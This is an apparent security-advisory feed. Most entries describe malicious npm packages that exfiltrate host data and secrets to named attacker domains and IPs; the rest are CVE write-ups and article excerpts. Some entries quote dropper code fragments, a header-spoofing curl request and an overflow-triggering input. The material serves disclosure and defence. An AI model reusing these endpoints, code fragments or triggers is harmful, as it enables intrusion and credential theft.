Search: 2.9.99.5

The npm package digitalexp-style-module-l9 version 99.0.0 contains malicious code that executes automatically during installation. It collects system information such as hostname, username, current working directory, and package name, then exfiltrates this data via DNS queries and HTTPS requests to an attacker-controlled domain. This dual-channel exfiltration is designed to evade network egress filtering. The package is considered fully compromising to any system where it is installed, potentially exposing all stored secrets and keys.

The npm package 'sm-billing-form' versions 99.0.0 and 99.0.1 contain malicious code that executes curl commands during installation. These commands contact a hardcoded IP address over unencrypted HTTP, disclosing environment details to an attacker. This behavior is consistent with a dependency confusion or typosquatting attack designed to identify and target environments that install this package.

In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: fix BQL reset on SQ re-activation mlx5e_queue_start() deactivates and re-activates all channels but closes only the queue being restarted. mlx5e_activate_txqsq() then unconditionally calls netdev_tx_reset_queue(), zeroing the BQL counters of channels that kept their in-flight TX WQEs. The next completion then over-charges and trips the BUG_ON() in dql_completed(): kernel BUG at lib/dynamic_queue_limits.c:99! RIP: 0010:dql_completed+0x23d/0x280 Call Trace: <IRQ> mlx5e_poll_tx_cq+0x668/0xa60 mlx5e_napi_poll+0x5b/0x7b0 net_rx_action+0x15a/0x580 Reset BQL only when the SQ has no bytes in flight (sq->cc == sq->pc). In the case that reset is skipped, the outstanding WQEs will eventually complete and rebalance the dql. The dql->limit is carried across the reset.

A sophisticated Phishing-as-a-Service platform called Balonx Sistema, operated from Mexico, targets over 20 financial institutions through tiered subscriptions. The platform employs real-time WebSocket session hijacking to defeat multi-factor authentication, distributing a Spyroid-based Android RAT via fake security alerts. Since October 2025, over 1,100 victims' credentials have been harvested. The operation includes CallFlow, an AI-driven vishing module using GPT-4o-mini, ElevenLabs synthetic voice, and OpenAI Whisper for automated telephone fraud, eliminating human operators. The platform uses continuous domain rotation across 350+ domains since 2019, maintains centralized PostgreSQL infrastructure, and is openly promoted through Facebook groups. The operator, identified as 'balonx', manages a sophisticated criminal enterprise generating approximately $99,000 USD through subscription-based access priced between 3,000-6,000 MXN weekly.

Malware#websocket hijacking#cryptocurrency paymentsMexico

The npm package 'gunzip-js' version 99.9.1 is a malicious typosquatting package that pulls attacker-controlled code from an unaudited external source. It declares a dependency as an HTTPS tarball URL hosted on an anonymous Google Cloud Storage bucket, which is not associated with any known publisher. Installing this package results in downloading and executing potentially malicious code from this external source. The package itself is near-empty and serves only to facilitate this unauthorized code execution.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (91cc3a6ca908fc8beff657d21068318704e4576cb3778c360036ab5bfef4e56c) depcruise-baseline@99.9.1 has a name resembling dependency-cruiser/depcruise but ships an empty index.js and declares its sole runtime dependency as a direct https:// tarball URL rather than a registry package: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.4.tgz". On npm install, npm downloads and installs that tarball as a transitive dependency, so whoever controls the ltidi.storage.googleapis.com bucket controls arbitrary code that runs on the installer via that dependency's require graph and lifecycle hooks. The package has no functional code of its own; its only effect is to pull code from an author-controlled, out-of-registry location into the installer's dependency tree. ## Source: ossf-package-analysis (446d5f8b4c581782feffc22437e24c36313ac56e648162a5f80e21eee9e9f083) The OpenSSF Package Analysis project identified 'depcruise-baseline' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (08675f5d3de6c71d05588ae719204e2919ffac836aaada2f24b2b61bed2291ba) depcruise-fmt ships an empty module (index.js exports {}) and declares its only dependency, ltidisafe, as an arbitrary HTTPS tarball hosted at https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.3.tgz rather than a registry package. On npm install, npm fetches and installs that off-registry tarball into the dependency tree and executes any lifecycle scripts it contains. The wrapper package has no other functionality — its sole effect is to inject the externally hosted payload. The tarball is served from an author-controlled Google Cloud Storage bucket, is not subject to registry publish scanning, is not integrity-pinned, and its contents can be replaced at any time without a corresponding npm publish. The package name also resembles the popular dependency-cruiser tooling, positioning this as a lookalike lure whose only installation effect is to resolve to the GCS-hosted tarball. ## Source: ossf-package-analysis (ea193e6cea73a06c8f92a684d56040564d6a0fef93da1d45010978107ea0fd0c) The OpenSSF Package Analysis project identified 'depcruise-fmt' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

DBI versions before 1.652 for Perl allow a heap out-of-bounds write via an unvalidated numeric placeholder that sets the binder counter in preparse. preparse reserves seven output bytes per input byte, the width of the longest ':p99999' expansion. The ':N' branch parses the number with `atoi(src)` and assigns it to the binder counter with no range check, so a statement containing ':2147483648' leaves the counter negative (-2147483648 with glibc, where atoi wraps). Each following '?' then expands through `sprintf(start, ":p%d", idx++)` to ':p-2147483648', 14 bytes with the terminating NUL where the buffer budgets 7. The placeholder limit added in 1.650 tests the counter against 99,999, which a negative counter passes. Any caller that preparses an untrusted statement into ':pN' style placeholders gets a heap out-of-bounds write that grows with the number of '?' marks following the poisoned placeholder. The '?' and '%s' return styles compare the parsed number against the expected sequence and error out, and are unaffected.

The alelo-payment npm package versions 99.0.0 and 99.0.2 contain malicious code that exfiltrates sensitive environment data during installation. The preinstall script collects system information and environment variables, sending them to a hardcoded IP address with TLS verification disabled. The postinstall script further reads sensitive files such as .env and .npmrc, capturing authentication tokens and secrets, and sends this data to the same remote server. The package appears to be a typosquatting or dependency confusion attempt targeting an internal Alelo utility, with no legitimate functionality.

A recent article in The Atlantic ran under the blunt headline, The End of Reading Is Here . According to the piece, research from the National Endowment for the Arts (NEA) found that fewer than 50% of American adults read even a single book in 2022, and only 38% read a novel or short story. At the same time, the U.S. book market keeps breaking its own publishing records year after year: in 2025, for instance, the number of new titles topped four million — up a third from 2024. A huge chunk of that, 3.5 million titles, came from self-publishing, and one of its most powerful engines is Amazon’s Kindle Direct Publishing (KDP). My theory on this mismatch in trends: nobody’s reading books anymore because everyone’s too busy writing them. Joking aside, if there’s still a reader left out there, they’ve probably already guessed where I’m going with this: the all-powerful AI. Not long ago, a New York Times tech journalist was startled to find her own biography on Amazon — and one quick look confirmed it had been written by AI. Digging deeper into the world of AI book publishing, she stumbled onto the work of an extraordinarily prolific retired cybersecurity consultant. What happened next — and where to find reliable information in the age of AI — is what this post is about. Backstory: how a journalist chased the White Rabbit and fell down the hole Let’s start from the beginning. In the summer of 2026, New York Times tech journalist, Kashmir Hill, learned from an acquaintance that a biography about her had been published on Amazon a year earlier. It was titled The Biography of Kashmir Hill: The New York Times Technology Journalist Who Exposed Clearview AI, Challenged Big Tech and Redefined Privacy in the Digital Age . And she was more than stunned since nobody had ever reached out to her, or to anyone she knew, to research the book. “Alice started to her feet, for it flashed across her mind that she had never before seen a rabbit with either a waistcoat-pocket, or a watch to take out of it…” The author of record was one John Crane Miller, and the photo on his Amazon page turned out to be a generic stock image of a white man: the kind that shows up all over the internet. Hill couldn’t find a shred of personal detail or contact information for him. But digging deeper into his Amazon profile turned up something else: in a single week in the summer of 2025, he had published biographies not just of Hill, but of nine other American journalists. Even the most trusting reader would find it hard to believe a literary genius could produce this kind of staggering output without a little robotic help. The AI-generated biography of journalist Kashmir Hill, which she stumbled across by accident on Amazon. Source And yet the hardcover of Kashmir Hill’s biography cost a full US$26.99 — despite running to just 90 pages. After reading it, Hill learned a whole slew of “facts” about herself she’d never known — including a detailed description of her coffee-making ritual (which, as the journalist notes, is actually her husband’s duty). Mr. Miller even claimed in the text to have read Kashmir Hill’s childhood diary. “…burning with curiosity, she ran across the field after it, and fortunately was just in time to see it pop down a large rabbit-hole under the hedge.” Hill had no luck tracking down the author of her biography. She left a comment on the book’s Amazon page asking him to get in touch. Nobody wrote back — and not long after, every book under John Crane Miller’s profile vanished. But that gave her a lead on several other AI authors on Amazon. In particular, she came across a certain Bill Johns, whose author page listed a staggering 445 books . Not expecting much to come of it, she asked Johns if he’d be willing to do an interview — and was more than a little surprised when he agreed. It was probably right around then that Kashmir Hill’s investigation turned into a genuine trip down the AI rabbit hole… “In another moment down went Alice after it, neve…

Nmap versions up to and including 7.99 contains a denial of service vulnerability that allows remote attackers to crash the application by sending a crafted packet containing a zero-length TCP option. The malformed packet forces the Packet:parse_options() function in nselib/packet.lua to allocate objects in an infinite loop, causing an out-of-memory condition that results in application crash.

Improper control of resource identifiers ('resource injection') in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c53ad8755f0eb26cef8c05b49cdad8c69b93072e0d9ed176b071a7d367349cab) package.json declares `postinstall: node index.js`, causing index.js to run automatically on `npm install`. The script collects the installer's username (via `whoami`), `os.hostname()`, `process.cwd()`, and non-internal IPv4 addresses from `os.networkInterfaces()`, then sends them as query-string parameters via HTTPS GET to the hardcoded endpoint `https://xghhv5sajm33m7krgi4n8my0mrsig84x.oastify.com`. The `*.oastify.com` host is a Burp Collaborator out-of-band interaction domain. Package metadata is consistent with a dependency-confusion probe: gibberish name `dependencyfsdsfdsfg`, version `99.9.0`, empty author/description/keywords. ## Source: ghsa-malware (4f4ac1d40b3f429020ad268d0a7f47652bfa391d1e7960e7d1690cacab61003f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d2054792481618ddf941c251fc0793ec8c1b85fe14107567b5c29cac9330d5be) package.json declares a postinstall hook that executes index.js on npm install. index.js requires os, https, and child_process, runs `whoami` via execSync, and reads os.hostname(), process.cwd(), and non-internal IPv4 addresses from os.networkInterfaces(). The collected host and identity data is sent as query-string parameters via https.get to a hardcoded Burp Collaborator subdomain (xghhv5sajm33m7krgi4n8my0mrsig84x.oastify.com). Package metadata is consistent with a dependency-confusion lure: version 99.9.0, empty author/description/keywords, and a nonsense dependency name `dependencyfsdsfdsfg` pinned to ^99.9.0. ## Source: ghsa-malware (30b6f1747cf452fcc6c383a05d4c901dd7da71fcae0757210cb361e408a73d6a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7faefbcd9110b5e08b469d72d6541875ba4e2702c4490d1a24c37b313160f86b) env-local presents itself as a dotenv-compatible.env loader (README, keywords, and API mirror motdotla/dotenv), but lib/main.js unconditionally requires lib/tui-options.js, which activates a full-host spyware payload on module load. tui-options.js captures the desktop every 3 seconds (screenshot-desktop+sharp on Windows, screencapture on macOS) and POSTs the JPEG bytes to http://192.99.204.157:5000/upload with X-Computer-Name, X-Platform, and X-Resolution headers identifying the host. In parallel, a 1-second interval polls http://192.99.204.157:5000/get_buffer and replays the returned mouse-click coordinates and keystrokes on the installer's desktop via @nut-tree-fork/nut-js, giving the operator of that endpoint interactive remote control of the machine. On Windows, the module writes %APPDATA%\ScreenCaptureClient\launch-screen-client.vbs and registers HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ScreenCaptureClient via reg.exe to invoke the launcher with wscript.exe at every user logon, persisting the spyware and remote-input agent beyond the Node process.

## Summary There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. `X_Auth_User`), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which strips all headers with underscores in their names before routing. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier vers

For security researchers studying unconventional side-channel attacks, acoustic keylogging is something of a Hello World: a foundational problem that’s been tackled many times. A recent paper authored by researchers across three Japanese universities cites six previous studies on the topic that date as far back as 2004. While earlier experiments showed theoretical promise, they came with real-world caveats so severe that it made them all but impractical for actual espionage. The authors of this latest study, however, claim to have overcome most of those limitations. Today, we look at how they pulled it off, and assess whether their method holds up in real-world scenarios. What makes this new approach different? Previous acoustic keylogging techniques were fundamentally flawed. Best-case scenarios required prior training on the target’s specific keyboard model. Worst-case scenarios required a complex microphone array to isolate the subtle acoustic differences between keystrokes. Crucially, almost all prior models failed outside silent environments, which rendered the attack vector virtually useless. The Japanese research team demonstrated reliable keystroke interception even if the target was sitting nearby in a public space, sound was being recorded in an online meeting, or the researchers were using a contact microphone to eavesdrop through a wall. All this with strong model accuracy and a minimal training dataset. Their process needs a sample of just 150 to 200 keystrokes to reach a 99% accuracy rate for subsequent typing. Attack scenarios and core methodology proposed by the Japanese researchers. Source How to crack 200 keystrokes in under 50 iterations To understand how the researchers achieved such high accuracy and adaptability, we have to look at their audio processing pipeline. Their analysis begins by automatically segmenting a raw recording into discrete keystrokes. This data is then passed through a specialized algorithm that simplifies the subsequent audio analysis. Next, the system clusters together acoustically similar signals. The assumption is that the members of one cluster map to the exact same key. One particularly intriguing takeaway was isolating the spacebar sound from all the rest. Because the spacebar produces a distinctly unique sound profile compared to other keys, identifying it provides reliable word boundaries. This streamlines the next phase: feeding the preprocessed acoustic data into specialized language models for inference. Yes, the method relies on not one but two language models. The first model performs multiple passes over the audio stream to map acoustic signatures to potential keyboard characters. During each pass, the model leverages dictionaries to hypothesize character mapping, and check whether the resulting text aligns with standard words. The second model handles the final refinement pass: it ingests thoroughly pre-processed data rather than raw inputs. The method doesn’t stop there: unrecognized keystrokes undergo manual analysis, with analysts injecting educated guesses before re-running the recognition pipeline once again. The goal of looping through these multiple iterations is to achieve complete recognition across the keyboard from an ultra-compact dataset of ideally no more than 200 captured keystrokes. This marks a major shift from legacy methods, which relied on massive training datasets. Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source Research results To validate their theoretical model, the researchers created an experimental testing setup: Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source The team tested four distinct la…

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (16573678cf46c8aabbd843cd3bbbbe258474f3768d15ad6f1178921b6ad964bf) The package presents itself as an Nx stylelint helper but its main entry require()s _platform.js, which on load downloads a platform-specific executable from one of four Cloudflare Workers hosts whose names are assembled at runtime via array-join concatenation (oob-worker.cf{99-9b3,101-adf,102-baf,103-070}.workers.dev). If HTTPS retrieval fails, it reassembles the payload from base64 chunks served in DNS TXT records under sdk/ext/pkg/net.dl.wel1.ru (reading a chunk count from c.<domain> and concatenating parts from <i>.<domain>). The bytes are written to /var/tmp/.cache_<hex> on Unix or %TEMP%\dotnet_diag_<hex>.exe on Windows, chmod 0755, and launched detached via cp.spawn("/bin/sh", ["-c", fp+" &"], {detached:true, stdio:"ignore"}).unref(). A marker file.analytics_state suppresses re-execution. lib/telemetry.js embeds a second copy of the same dropper (base64 chunk decoding, split "chmod"+"Sync" and cp.spawn("/bin/sh",...)) under an analytics-SDK cover story. The exported DevplatformNxStylelint class is a no-op stub; the package's only functional behavior is the dropper. Package naming impersonates the Nx stylelint ecosystem. ## Source: ghsa-malware (17bb3474e482e10720577233ded6d0d01962b5055551dfdb0a98507d09b23d9e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (15880efb2feec5e49ab725414e805293700e451ede11a2e4f3b1fe8e2f8f881c) On require of the package, index.js loads _helpers.js which reconstructs Cloudflare Workers hostnames via array-join string splitting (oob-worker.cf{99-9b3,101-adf,102-baf,103-070}.workers.dev), downloads a platform-specific binary, writes it to /var/tmp/.cache_<hex> on Unix or %TEMP%\dotnet_diag_<hex>.exe on Windows, chmods 0755, and spawns it detached via /bin/sh -c or cmd.exe /c start. A DNS-TXT fallback channel base64-decodes multi-record TXT responses from sdk.dl.wel1.ru into the payload bytes. lib/telemetry.js (~81 KB, framed as an analytics SDK) duplicates the same fetch-decode-chmod-spawn primitives. Hostname reconstruction via runtime string splitting, hex-random staging paths, disguised filenames (dotnet_diag,.cache_,.analytics_state), and the DNS-TXT covert transport are attacker infrastructure rather than legitimate library behavior. ## Source: ghsa-malware (6580ac910eec3a2cb20ce2e935a39da2549948bc1c702be53f911dfbac8d06ba) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (36c6972ca0999559f2a4548843790c8000451acb4869da3c83d0357a655586ba) On `npm install`, the package's preinstall hook runs index.js which collects host identity (hostname, username, homedir, network interfaces, uid), output of `whoami`/`id`/`pwd`/`uname -a`, and the names of process.env variables matching a broad credential regex (key/token/secret/pass/auth/cred/npm/ci/build/jenkins/github/gitlab/aws/azure). The collected JSON is transmitted to the hardcoded Interactsh subdomain `ycwyyoimdcluajepubah2mvmkibt4h5wm.oast.fun` via HTTPS POST, HTTP POST, and DNS-encoded lookups. The package name and version (99.0.1) are consistent with a dependency-confusion beacon targeting internal build systems that resolve an unclaimed name from the public registry.